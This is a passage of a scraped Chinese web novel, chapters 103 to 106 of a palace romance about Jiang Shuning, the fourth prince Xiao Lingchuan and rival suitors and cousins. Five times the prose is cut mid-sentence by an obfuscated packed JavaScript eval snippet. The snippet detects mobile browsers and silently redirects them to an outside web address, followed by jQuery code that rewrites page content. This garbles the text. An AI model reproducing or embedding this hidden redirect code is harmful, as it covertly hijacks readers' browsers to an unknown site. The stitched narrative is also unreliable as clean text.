“是!”姜姝宁抬起头,神色笃定,“自从兄长不幸逝世之后,臣女便暗自下定决心,此生要尽心侍奉父母,为他们养老送终。” “你的孝心,哀家能够理解。”太后沉吟片刻,缓缓说道,“但你毕竟是一个女子。按照我朝律法,女子是没有继承家业的资格的。若是你一生不嫁,待到你父母百年之后,你又当如何自处呢?” “臣女已经跟过继到父亲名下的堂弟商量好了,他会让臣女继续留在姜家,颐养天年。” 她不可能选择萧凌川,重复前世的错误,可她也心知肚明,以萧凌川那霸道专横的性子,又怎会容忍她嫁给他人? 所以,在她借萧凌川之手为兄长报仇雪恨之前,她谁也无法选择,谁也不敢选择。 与其在这些皇子之间左右为难,不如干脆将自己不嫁人的决定昭告天下,也好堵住这悠悠众口。 太后长叹一声:“哀家还以为你挑剔,看不上哀家的皇孙们,没想到你竟是这般打算。若是四皇孙知道,他定会很难过的。” “是臣女没有福分,无缘与四皇子殿下结为连理。臣女相信,四皇子殿下将来定会遇到一位真正值得他倾心相待的良人。” 太后无奈道:“罢了,你今日应当还要去探望四皇孙吧?哀家便不留你多坐了,你且退下吧。” “谢太后娘娘!”姜姝宁再次行了个礼,而后缓缓退出了慈宁宫。 太后一边吃着姜姝宁亲手熬制的参苓白术粥,一边惋惜道:“可惜啊,这么好的姑娘竟不愿当哀家的皇孙媳。哀家的这个四皇孙啊,也是个认死理的,放着那么多好姑娘不要,偏偏就认准了姜姑娘。他未能得偿所愿,想必会很难过吧?” 吴嬷嬷安慰道:太后娘娘不必太过忧心,姜姑娘如今还年岁尚浅,往后未必不会改变主意。况且四皇子殿下这般才貌双全,人中龙凤,这天底下又有哪个女子能够不动心呢?” 太后点头:“你说的也有些道理。她不过是一个还不到十七岁的小姑娘,将来的事情,谁又说得准呢?等她再长大一些,想明白了,肯定会改变主意的!” 姜姝宁来到景和宫。 萧凌川早就等得望眼欲穿,见她进来,便目不转睛地盯着她提进来的食盒。 “怎么只有一个食盒?” 他昨日不是点了很多菜吗?一个食盒哪里够装? “臣女只带了需要费时费力熬制的汤水,至于其他的菜肴,臣女想在殿下的后厨亲手烹制。毕竟,殿下宫里食材应有尽有。”姜姝宁语气浅淡地解释道。 听到这话,萧凌川神色才稍霁。 姜姝宁跟着宫人去了厨房,有条不紊地忙碌起来。 很快,一桌色香味俱全的饭菜便摆上了桌。 萧凌川看着前世吃惯了的菜肴, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620124|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只觉得食指大动。 前世成婚十年,他的胃口便是一点点被她撑大的。 一开始他每餐饭量不足一碗,身形清瘦,她便一日三餐都变着花样地做给他吃,调养身体。 后来他食量见长,每餐至少要吃上两碗才够,身子也渐渐变得壮硕。 想到这,他看向她的目光带上了几分温柔:“你忙了那么久,想必也饿了,坐下来一起吃吧。” “好。”姜姝宁没有推辞,她将热好的汤放在桌上,随口问了句,“七皇子殿下呢?他不来和我们一起吃吗?” 萧凌川不自然地轻咳了一声,掩饰道:“他今日有些要事在身,所以便不来了。”这当然是骗她的。 是他故意不让萧琪钰来的。 他天天盼着有机会跟她单独相处,哪能让萧琪钰这个不懂眼色的弟弟打扰? 况且…… 萧凌川用没有受伤的左手吃力地夹起菜,故意在她面前表现出极其困难的模样。 姜姝宁只能将椅子挪到他身边,拿起他的筷子:“殿下想吃什么,臣女帮你夹。” 萧凌川一开始还有些拘谨,慢慢就习惯了她的悉心照顾,一口一口吃她喂过来的饭菜。 她喂的饭菜就是格外香。 他已经很久没这般心满意足过了。 姜姝宁喂得极有耐心,一勺饭一勺菜,接着一勺汤。 喂完后还用帕子小心翼翼地帮他擦拭唇角残留的油渍,细心周到。 他注视着她,心潮起伏。 恍惚间仿佛回到了前世他们还是夫妻的时光,她也是这般温柔体贴,将他照顾得无微不至。 千言万语涌上心头,最终只化作一句情不自禁的低喃:“姝宁,你真好。” 姜姝宁垂眸,掩盖眼底翻涌的情绪:“殿下毕竟是为了救我才受的伤,臣女照顾你是应该的。” 这话说得客气疏离,仿佛一道无形的屏障,瞬间将两人隔开。 一股难言的失落袭上萧凌川的心头:“难道我们之间,除了恩情,就没有别的了吗?” 前世也是如此,他救了她的命,她便执意要嫁他。 在此之前,她像其他世家贵女一般,从未留意过他。 嫁他,只是为了报恩吗? 姜姝宁抬眸,对上他炙热的目光,像是被烫到似的迅速垂眸。 “殿下的心意,臣女自然明白。” 她深知他这样的目光意味着什么,声音不禁染上了几分颤抖。 萧凌川胸口翻涌着难以克制的渴望,他伸出手轻抚她的脸颊,目光缱绻灼热:“你明白就好。” 他情难自禁,凑过来想吻她的唇,被她慌忙制止了。 她手指抵着他滚烫的唇,声线颤抖:“殿下,你答应过臣女的!” 等他有了天下,才能拥有她。 萧凌川有些不依不饶:“一个吻,也不行吗?” 第103章 抓了个现行 第一百零三章抓了个现行 姜姝宁指尖滚烫。 前世与他做了十年夫妻,她对他的本性再熟悉不过。 那些水深火热、溃不成军的漫漫长夜,都是由一个看似微不足道的吻开始的。 星星之火足以燎原,她所要做的,便是绝不给这欲念之火有点燃的机会。 一旦失守,便将一发不可收拾。 “殿下今日想要一个吻,明日便想要臣女的身子,人的渴求是无穷无尽的。臣女的筹码本就不多,若都给了殿下,岂不是太被动了?” “筹码?”萧凌川神色不虞,“在你心中,我们之间就只有交易了吗?” 姜姝宁心中在冷笑。 不然呢? 难道他们之间还有前世藕断丝连的夫妻情谊不成? 她心中腹诽,面上却不显,只低眉顺眼道:“臣女不善言辞,还请殿下恕罪。” “交易也罢。”他视线牢牢的锁定着她,一字一句道,“但我要的不是你的身子,而是,你的心。” 姜姝宁心头一跳,继而眼底掠过一丝不易察觉的嘲讽之色。 多讽刺啊,前世她将一颗心捧在他面前,他视而不见,不仅和姜瑶真纠缠不清,还给她下避子药,害她连当母亲的资格都没有。 重来一世,他竟说想要她的心! 果然,于男子而言,得不到的永远是最好的。 “好啊。”姜姝宁笑靥如花,“等殿下铲除了三皇子……哦不,是瑞王,夺得这天下,臣女的心便是你的。” 萧凌川幽暗的桃花眸里墨色翻涌,有些咬牙切齿道:“我以为,你会说,你的心早在我这了!” 姜姝宁心中冷笑更甚:做什么白日梦? 萧凌川,你未免太把自己当回事了吧? 见她不语,他略感无奈,声音里多了几分苦涩,“也不怪你,前世我那般伤你,你对我有所保留也是也是情理之中。我不会勉强你的,今生我定会让你亲眼看到我的诚意,让你心甘情愿地将真心交付于我。” 姜姝宁始终一言不发,任他自说自话。 心中却暗暗发誓:今生,她的身心,他都休想染指! 为了避免萧凌川继续这个话题,她主动说起另一件事:“殿下,您既然早已知晓瑞王与西洲国暗中勾结、通敌叛国,为何不干脆将此事禀告给陛下,让陛下定夺?” 一个**通敌的罪名,足以让萧修湛万劫不复! 只要皇帝下令彻查,他便再无翻身之日! “此事兹事体大,须得拿到确凿的证据才行。”萧凌川神色凝重,“萧修湛与镇国公行事十分谨慎,直到现在,我安插在他身边的耳目依旧无法截获他们与西洲国之间传递情报的书信。 西榆山地势险峻而隐秘,机关重重,我曾多次派武功高强的死士前去一探究竟,可惜他们都被萧修湛手下的精兵强将尽数诛杀,更别提带回任何有用的机密了。 若是贸然禀告父皇,在没有通敌铁证的情况下,很有可能打草惊蛇,反而给了他提前转移阵地、销毁证据的机会。届时,他必定会反咬一口,说我故意污蔑栽赃,那就得不偿失了。” “难道我们就只能坐以待毙吗?”姜姝宁有些焦灼。 萧修湛已经在西榆山秘密训练私兵,拥兵自重。 若是再不加以遏制,任由他发展下去,届时想要对付他,便难如登天了。 前世她怎么会觉得,萧凌川轻而易举地制服了萧修湛? 萧修湛分明是个强大且可怕的对手! “别急,凡事谋定而后动,欲速则不达。”萧凌川安慰道,“纵然一时之间无法拿到他通敌叛国的铁证,但我还可以通过其他法子,慢慢碾碎他的势力,让他最终毫无胜算!” 他薄唇微勾,俊美无俦的脸上浮起一抹势在必得的神色。 “那臣女便拭目以待,等殿下的好消息。今日臣女家中还有事,先行告退。”姜姝宁说着,起身准备离开,被他伸手拉住。 “你明日还来看我吗?”他满怀期待地问。 手心里传来他掌心的温度,炙热一片。 直觉告诉姜姝宁,再这样频繁与他见面,怕是萧修湛还没被除掉,她就被他吃干抹净了。 猎物最好的自保方式,便是不要频繁出现在虎视眈眈、蓄谋已久的猎人视线里。 “臣女最近家中事务繁忙,怕是不能来看殿下了。还请殿下珍重,好好养伤。” 萧凌川脸上浮起肉眼可见的失望。 “也罢,既然你不来看我,我就只能将就着吃宫里御厨做的那些不合口味的饭菜,我还得忍着伤痛,努力练习用左手吃饭……” 他刻意示弱,眉梢眼角都染上肉眼可见的委屈。 姜姝宁心如磐石,没有丝毫动摇。 她不着痕迹地将手从他的掌心里抽出,语气柔和而疏离:“殿下,宫里御厨做饭菜您吃久了,总会习惯的;若是您实在不想用左手夹菜,那就让景和宫的宫人喂您吃。殿下若没有其他事情要吩咐,臣女就先行告退了!” 说完,她向他盈盈行了一个礼,便头也不回地转身离去,没有丝毫的留恋。 萧凌川看着她离去的背影,心中酸涩难当。 她没有前世那般在意他、凡事以他为重了。 他苦笑,怨不得旁人,都是他咎由自取。 姜姝宁刚走出景和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620125|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宫,迎面便撞见一道熟悉的身影。 那人一身素雅锦袍,怀中抱着件厚厚的衣物,眉梢眼角浸染着温润如春风的笑意,见到她便朗声招呼:“姜姑娘!” 姜姝宁一愣,抬眼看去,竟是五皇子萧怀瑾。 她福了福身:“五皇子殿下,您怎么来了?” 萧怀瑾笑得愈发和煦,眼神在她身上停留片刻,才道:“我知道今日你定会来宫里探望四哥,便特意在这儿等着你了。” 姜姝宁一想起萧凌川那副醋意翻涌的模样,顿时有些头皮发麻,低声问:“殿下既然来了,为何不进去探望四皇子殿下?” “姜姑娘可能不知,四哥对外宣称在宫里养伤,近日不见任何人。我本也想去看他的,却被他宫里的人婉拒了。” 姜姝宁一时哑然。 她能随意出入景和宫,这不等于明晃晃地告诉旁人,她和萧凌川的关系不一般吗? 一想到这点,她只觉脸颊发烫,尴尬不已。 “不知五皇子殿下找我有何事?” “昨日不是才和你约了一起去我母妃后花园看小鹿的吗?”萧怀瑾语气轻快提醒道。 姜姝宁一怔,昨日她不过是随口搪塞,没想到他竟当了真。 “殿下,臣女今日还有事,恐怕……” “我知道。”萧怀瑾打断她,笑容依旧温润,“所以我把小鹿带来了!” 话音刚落,他便掀开怀中衣物的一角,露出藏在里面一张毛茸茸的小脸。 那小鹿水汪汪的、湿漉漉的眼睛紧盯着姜姝宁,鼻头还轻轻抽动着,一副好奇的模样,可爱得让人心都化了。 姜姝宁愣在原地,手指不由自主地攥紧了袖口。 她对毛茸茸的动物有种与生俱来的喜爱,尤其看到小鹿那双乌黑如墨的大眼睛,她满脑子就只剩下“好可爱”这三个字,根本说不出拒绝的话来。 “姜姑娘,瞧它多喜欢你。”萧怀瑾低声笑着,声音温柔地诱哄,“你摸摸它,它**可软了。” 姜姝宁抵不住诱惑,还是伸出手,轻轻触了触小鹿的脑袋。 指尖下的毛发果然柔软得像一团云,她深吸一口气,将心口那股激动强压下去。 “它叫绒毛,我养了好些日子,性子最是温顺。”萧怀瑾一边说,一边将小鹿往她怀里递了递,“你若喜欢,抱抱它也无妨。” 姜姝宁正准备接过小鹿,身后陡然传来一道低沉而冰冷的嗓音:“五弟好兴致,连鹿都带来了。” 她心头一跳,猛地回头,只见萧凌川不知何时站在不远处,脸色阴沉得像是暴风雨前的乌云。 姜姝宁如临大敌:完了,被他抓了个现行! 第104章 他还不如这头畜生? 第一百零四章他还不如这头畜生? 萧凌川目光冷冷扫过萧怀瑾怀里的小鹿,又落在姜姝宁方才触碰小鹿的手上,眼神里像淬了毒,寒意刺骨。 姜姝宁头皮发麻,手指下意识缩了回来。 她还没来得及开口,萧凌川已大步走了过来,语气里满是嘲讽:“怎么,五弟莫不是觉得,本王这景和宫太冷清,特意送个畜生来热闹热闹?” 萧怀瑾笑容不变,语气依旧温和:“四哥误会了,我只是记得姜姑娘提过喜欢小鹿,便特意带来给她瞧瞧。倒是四哥,怎的出来了?伤势可好些了?” 萧凌川冷笑一声,目光转向姜姝宁,像是刀子般刮过她的脸:“姜姑娘不是家中有事,急着回去吗?怎么,还有闲心在这儿逗鹿玩?” 他方才装可怜她都不愿多陪他一会,如今竟为了逗这只畜生在门外徘徊了许久。 难道在她心里,他还不如这头畜生吗? 姜姝宁唯恐萧凌川兴师问罪,连忙道:“臣女家中确实有急事,两位殿下,臣女先行告退!” 说完,她疾步往宫门的方向走去,颇有几分落荒而逃的意味。 萧怀瑾抱着小鹿,目光追随着她离去的背影。 萧凌川见他如同望妻石一般看着姜姝宁离开的方向,顿时妒火中烧,语气阴冷得像淬了寒霜:“五弟,我劝你最好尽快打消对姜姑娘的心思!” 萧怀瑾收回视线,笑得温和无害:“四哥何出此言?” “既然你问了,那我不妨直说。”萧凌川语气里透着不容置疑的霸道,“姜姑娘将来是要当你四皇嫂的!” 前世如此,今生亦然! 萧怀瑾丝毫不为所动,他低头抚了抚小鹿的头,语气依旧不紧不慢:“恕我直言,若姜姑娘心悦四哥,我定会成人之美。只可惜,姜姑娘心悦之人显然不是四哥。如今我与四哥都心悦姜姑娘,那便公平竞争罢。” “你……”萧凌川只觉得跟他说话,仿佛一拳头打在了棉花上,郁闷至极,只得怒道,“不自量力!” 姜姝宁刚回府不到一个时辰,门房便匆匆来报,说是四皇子殿下特意遣了宫人送来一份东西,点名要交给她。 凌芜上前接过那沉甸甸的纸包,打开一看,竟是一条烤得金黄酥脆的鹿腿。 “大小姐,四皇子殿下真有心,竟送条烤好的鹿腿给您吃。” 姜姝宁气不打一处来,他哪里是送鹿腿来给她吃,他分明是警告她以后不准再和萧怀瑾来往。 院里的婢女们都被这香喷喷的鹿腿馋坏了,夏蝉问她:“大小姐,这鹿腿趁热吃最香,您现在要尝尝吗?” 姜姝宁刚见过一只憨态可掬的小鹿,哪里吃得下鹿肉? “我不吃,你们趁热分着吃吧!” 婢女们闻言大喜,齐声谢道:“多谢大小姐赏赐!” 便欢天喜地地捧着鹿腿退下了。 姜姝宁却忍不住想起萧怀瑾怀里的那头小鹿,以及他抱那头小鹿时,脸上温柔得仿佛可以融化冰雪的神色。 五皇子这般温润如玉之人,若将来为人父,定会是一个极好极慈爱的父亲吧? 若前世她的选择不是萧凌川,而是他,或许,她的人生会是另一番光景。 翌日,姜瑶真戴着面纱来找她,心急如焚:“姐姐,我听说四皇子殿下正在宫中养伤,闭门谢客。我恰好有要紧之事需与他商议,你能否带我入宫一趟?” 姜姝宁昨日才对萧凌川推说家中事务繁忙,无暇进宫探望,若今日便带着姜瑶真前往,岂不是自相矛盾? 于是她拒绝道:“今日我不打算进宫,怕是帮不了你。改日再说吧!” 姜瑶真不死心:“那……姐姐可有法子联系上四皇子殿下,替我约他出来一见?我实在有万分紧要之事,必须当面与他说明!” 她说着,声音里带上一丝哭腔。 姜姝宁眉头微蹙,心中暗自揣测,姜瑶真如此心急如焚,莫非是得知了萧修湛的什么秘密,急于告知萧凌川? 想到此处,她不敢怠慢,道:“好吧,你想约他在何处相见?” “你……就让他去来福酒楼!”姜瑶真补充道,“千万别提是我找他,就说是你约他前去!” 姜姝宁暗忖,莫非她是担心萧修湛察觉她与萧凌川私下联络,才如此小心翼翼? 她也不再多问,点头应下:“好,我这便安排。” 她唤来凌芜,嘱咐她即刻带封信送往宫中,就说自己约萧凌川前往来福酒楼见面。 没想到,不到半盏茶功夫,萧凌川竟回复说自己即刻动身。 “四皇子殿下已经答应前往来福酒楼,你可以去见他了!”她对姜瑶真道。 姜瑶真犹豫了片刻,低声恳求:“姐姐,你能不能陪我一起去?” 她心知肚明,萧凌川之所以肯去来福酒楼,是以为约他的人是姜姝宁。 若去了来福酒楼只看的她没见到姜姝宁,肯定会大发雷霆。 她和姨娘服解药的期限到了,脸上身上开始有了溃烂的迹象,实在不能再等下去了。 无论如何,她今日都要见到萧凌川,跟他拿到解药! 姜姝宁蹙眉:“你确定我真的能跟你一起去?” 姜瑶真用力点头:“当然可以!我和殿下之间,绝无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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此时等在门外的姜姝宁,无意间瞥见一个跟自己妆容打扮极其相似的女子。 她心下好奇,便不动声色地跟了上去,欲一探究竟。 待走近些许,那女子的面容越发熟悉,姜姝宁不由得多看了几眼。 不料,那女子似有所感,猛地抬起头来,与姜姝宁四目相对,眼中闪过一抹惊诧,随即脱口而出:“大姐姐?” “三妹?”姜姝宁也很诧异,“你怎么在这里?” 第105章 急不可耐想虏获她的心 第一百零五章急不可耐想虏获她的心 姜莲眼中掠过一丝不安,低头道:“大姐姐,我、我是来找二姐姐的。” 姜姝宁还想问什么,身后雅间的房门被打开,戴着面纱的姜瑶真和萧凌川走了出来。 姜莲一看到萧凌川,慌忙跪在地上,声音带着颤抖:“民女见过殿下!” 姜姝宁心头一跳,姜莲竟认识萧凌川? 她打量着姜莲那低眉顺眼的模样,心中莫名一阵烦躁。 她们有血缘关系,容貌身段多少有些相似,但不至于让人混淆。 然而今日,姜莲的妆容穿着与自己平日风格几乎一模一样,显然是故意模仿。 尤其此刻,她跪在萧凌川面前,姿态卑微,让姜姝宁仿佛看到了自己低声下气的模样,心中一阵膈应。 她正要开口,萧凌川却没理会跪在地上的姜莲,目光直直地看向她,语气中带着几分不善:“把我约出来,难道就没话对我说吗?” 姜姝宁蹙眉,听这语气,他是在质问自己? 她心头一梗,面上却没有显露分毫,声音平稳中透着几分疏离:“臣女听瑶真说有要事想见殿下,便帮她将殿下约出来了。实在事出突然,还请殿下恕罪!” 她说着,屈身行了个礼,正准备转身离开,手腕却被用力扣住。 “既然都出来了,那便陪我在雅间里坐坐吧!”萧凌川声音低沉,带着不容置喙的强势。 话音刚落,他不顾姜瑶真和姜莲在场,径直将姜姝宁拉进雅间,随即“砰”的一声关上房门。 直到确定他离开,姜莲这才颤颤巍巍地抬起头来。 “看到了吗?这就是殿下对待咱们姐姐的态度!”姜瑶真眼底闪过一丝妒恨,“你若是能取代她,还愁没有荣华富贵吗?在皇子身边,哪怕当个妾,也比你嫁个寻常人家强!” 姜莲咬紧嘴唇,眼中闪过一丝贪婪与挣扎。 她父亲虽分得了大伯姜丞相一半的家产,但终究算不是权贵高门,加之与相府关系破裂,她若想嫁入豪门,简直难如登天。 如今,除了依靠姜瑶真,她实在别无他路。 “二姐姐,只要能让殿下青睐莲儿,莲儿什么都愿意做!” 姜瑶真满意地点点头,声音带着几分阴冷:“只要你乖乖按照我的话去做,我保证你很快便能服侍在殿下左右!” “是,莲儿一定听二姐姐的话!” 姜姝宁被萧凌川拉进屋内,手腕上还残留着他掌心的温度。 她不动声色地抽回手,退开半步,面上依旧是那副疏离淡漠的模样:“殿下有话直说。” 自己好心替他和姜瑶真传话,他却摆出这副兴师问罪的架势,实在令人寒心。 看来姜瑶真没有带来让他满意的消息,他不忍责怪她,准备迁怒于自己了。 萧凌川脸上的不虞之色早已散去,他慢条斯理地坐下,用左手熟练地拿起茶壶,为自己和她各倒了一杯茶:“这来福酒楼的红茶味道尚可,你不妨尝尝。” 姜姝宁瞥了他一眼,只见他左手动作娴熟流畅,显得从容自若,心中暗自吐槽:这不是用得挺顺手嘛! 看来,右手受伤,也并不需要旁人喂食嘛! 萧凌川察觉到她视线停在自己左手上,像是被戳中了心思,将茶杯放回桌上,轻咳一声:“倒水喝茶尚不影响,但夹菜吃饭还是不太顺手。” 姜姝宁抬眸,似笑非笑地应道:“既如此,那今日我们便只喝茶。” 也省去了她给他喂食的麻烦。 “你确定?”他桃花眸微眯,声音里透着几分循循善诱,“这来福酒楼的糖醋排骨和麻婆豆腐是出了名的好吃,你不打算试试?” 姜姝宁一怔,心口像是被什么轻轻撞了一下。 两道菜是她最爱吃的,可因他不喜甜辣,前世她在景王府时从来不做。 如今他却轻描淡写地提起,像是早就深谙她的喜好。 她藏在袖中的手不自觉地攥紧,指尖掐进掌心,刺得生疼。 他这是做什么? 先是在马球场上不顾一切地救她,如今又刻意在她面前表现出对她的在意。 他就这般急不可耐地想要俘获她的心吗? 也对,只有彻底得到她的心,她才会像前世那样,任由他摆布操控。 萧凌川对她内心的波澜浑然不觉,他径自唤来小二,点了糖醋排骨和麻婆豆腐,又转头问她:“你还想吃什么?” 姜姝宁强压下心底翻涌的情绪,语气平淡得像一潭死水:“就这些够了。” “才两道菜,哪里够?”萧凌川目光扫过她的眉眼,似有若无地停留了片刻,随后又自顾自地点了几样菜,这才挥手让小二退下。 不一会儿,菜肴端上来,摆了满满一桌,香气扑鼻,勾得人食指大动。 姜姝宁心中却有些五味杂陈。 活了两世,这是第一次在萧凌川面前吃自己喜欢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620127|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的菜。 前世她总是事事以他为先,卑微到了极点。 瞥见他那只缠着纱布的右手,她认命地坐到他身旁,端起他的碗,准备像昨日那般给他夹菜喂饭。 毕竟他的手是因她而受伤,照顾他用膳也是理所当然。 萧凌川却抬手止住她:“你先吃吧!” 她一愣,筷子停在半空,疑惑地看向他:“那殿下你……” “这些菜都是我为你点的。”他顿了顿,声音轻柔,“昨日你在我殿里,一直忙着喂我,自己都没吃多少。后来又急着离开。今日这顿饭,算是我的补偿。” 姜姝宁有些意外,没想到他竟还有为人着想的时候。 她垂下眼帘,低声道:“那臣女便谢过殿下了。” 她许久没吃糖醋排骨和麻婆豆腐,筷子一动便有些停不下来,吃得津津有味。 萧凌川目不转睛地看着她,原本冷峻的俊美面容上竟浮起一丝满足的笑意,像是冬日里一抹罕见的暖阳,柔和得让人心悸。 两人在还算融洽的氛围里吃完了一餐饭。 临走时,萧凌川对她道:“若这来福酒楼的菜肴能入你的眼,我可将这里的厨子买下,安置在相府,日后便让他专为你烹饪。” 姜姝宁闻言,微微一怔,随即轻笑道:“不必如此。若我想吃,自己来酒楼便是。况且,你将厨子买下,岂不是让京城其他食客再也无缘见识他的厨艺了?” “那又如何?”萧凌川不以为然,“即便你我不出手,也会有其他达官显贵看中他的厨艺,将他买下。你就不怕被他人捷足先登,日后想吃也无处可寻?” 姜姝宁满不在乎:“那又如何?世间美味佳肴数不胜数,错过这一家,我自可另寻其他,说不定还能有意外之喜。” 萧凌川闻言,桃花眼中波光流转,深邃的眸子里似有暗流涌动。 他凝视着姜姝宁,语气低沉而霸道:“我与你不同,但凡我看中的,必定要将其据为己有!” “倘若无法如愿呢?”姜姝宁似笑非笑地反问道。 萧凌川的眼神瞬间变得幽深,如同暗夜般深不见底。 他语气强势,一字一句道:“那便抢!只要是我想要的,即便是强取豪夺,也绝不会拱手让与他人!” 姜姝宁对他的霸道和自负感到无语,心中暗自冷笑:萧凌川,你未免太过自以为是了。 这世上,总有些东西,是你穷尽一生也无法得到的! 第106章 还是留着祸害别人吧! 第一百零六章还是留着祸害别人吧! 两人刚离开来福酒楼,没想到迎面便撞见姜莲。 她看到萧凌川便低头行礼:“民女见过殿下!” 萧凌川连眼角余光都未分给她,仿若未见。 姜姝宁问:“三妹,你有事?” 姜莲点了点头,神色略带几分羞涩:“大姐姐,我有话对您说。” 姜姝宁转头对萧凌川道:“殿下,我们就在此处告别吧。我与堂妹有话要说。” 萧凌川微微颔首,淡然应道:“去吧。” 说完,他便径直转身离去。 姜莲目送着萧凌川的身影渐远,脸上浮起一抹毫不掩饰的倾慕,喃喃道:“殿下真是容貌出挑,我从未见过长得这般好看的男子。大姐姐被这样的男子爱慕,真是让人羡慕啊。” 姜姝宁眉头微蹙:“三妹,你有话直说!” 姜莲转头看向她,语气诚恳:“大姐姐那么多皇子喜欢,想必很难抉择吧?莲儿愿意为大姐姐分担。只要大姐姐在殿下面前求个情,让莲儿去他身边服侍,往后莲儿得宠,定不会忘了大姐姐的恩情!” 这话一出口,姜姝宁只觉得胃里一阵翻涌,像是吞了只苍蝇般恶心。 她竟想服侍萧凌川? 难道这就是她费尽心思装扮成自己模样的真正原因? “莲儿,你可知道,方才那位殿下便是当今四皇子。”姜姝宁沉声道,“二婶不是一直认定四皇子殿下便是买**害二哥的罪魁祸首吗?你当真想留在他身边服侍?” 姜莲垂眸:“莲儿知道。若莲儿能得四皇子殿下青睐,父亲母亲一定会理解的。况且,正如大姐姐所说,没有证据证明哥哥之死就是出自四皇子殿下之手,父亲母亲不过是哀伤过度,方才迁怒于他的。” 听到这番话,姜姝宁气不打一处来。 既然他们都觉得萧凌川并非害死姜天赐的凶手,那为何二叔二婶还总揪着她和萧凌川的关系不放,试图将姜天赐的死归咎到她身上来? 难道是因为她好欺负的缘故? 想到这,她语气愈发冰冷:“三妹,此事我爱莫能助。若你当真想在四皇子身边服侍,便自己去跟他说!” 把一个长相和装扮都跟自己极其相似的女子送到萧凌川身边,这么恶心的事叫她如何做得出来? 想想都觉得膈应! “大姐姐,求求你!”姜莲紧紧抓住她的衣袖,声泪俱下地哀求道,“父亲近来沉迷于**,已欠下巨额债务,若我再无出路,只怕他会将我卖去抵债啊!大姐姐,看在咱们都是姜家血脉的份上,帮帮我吧!” 姜姝宁眉头紧蹙:“京城乃天子脚下,哪来的赌场?” “明面上自然没有,可那些见不得光的地下赌场,比比皆是!那里的人凶神恶煞,若不及时还钱,父亲只怕会被他们活活打死啊!”姜莲哭得梨花带雨,“大姐姐,求求你,让我去四皇子身边服侍吧!我不想被卖到春香楼那等火坑里去啊!” “你这简直是病急乱投医!”姜姝宁恨铁不成钢,“你怎么知道,去四皇子身边服侍,就不是跳入另一个火坑?” “不会的!四皇子殿下看你的眼神,与看旁人的截然不同。他对你如此倾心爱慕,定然会善待我的!我不介意当大姐姐的替身,只要能留在四皇子身边,我什么都愿意!” 说到最后,她的语气近乎疯狂,有种不顾一切的偏执。 姜姝宁竭力克制住心中的怒火,才忍住没有抬手扇她一个耳光。 二叔二婶,究竟是如何教养出姜莲这般愚蠢又不知廉耻的女儿的? 她冷声道:“我不会送你去四皇子身边,但你提到的地下赌场之事,我可以找人协助调查。京城严禁开设赌场,一旦被查获,定会被朝廷取缔。到时候,二叔的债务自然一笔勾销。只要债务清了,你也就安全无虞了!” 丢下这句话,她转身离开。 姜莲气得直跺脚。 怎么话都说到这份上了,大姐姐还是不肯帮她呢? 人往高处走,她不过想过上锦衣玉食的生活,难道这也有错吗? 姜姝宁回到相府,姜瑶真已经服下从萧凌川那里得来的解药,容颜恢复了往日的美艳。 她特地来找姜姝宁,装出一副无奈的模样:“姐姐,莲儿真是的,自从知道四皇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15620128|172253||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子殿下对你有意后,便费尽心思地模仿你的妆容打扮,妄想博得殿下的青睐。唉,她当真是不自量力,姐姐哪里是她能模仿得来的?” 姜姝宁冷冷地看着她:“她如此刻意模仿我,难道不是你的授意?” “姐姐缘何出此言?我怎会做出这种事?”姜姜瑶真一脸无辜。 “别装了。她今日出现在来福酒楼,分明是去找你的。若不是你,她又怎会认识四皇子?她还跑来求我,苦苦哀求让我安排她服侍在四皇子身边。瑶真,我真不明白,你为何总要做这种损人不利己的事?” 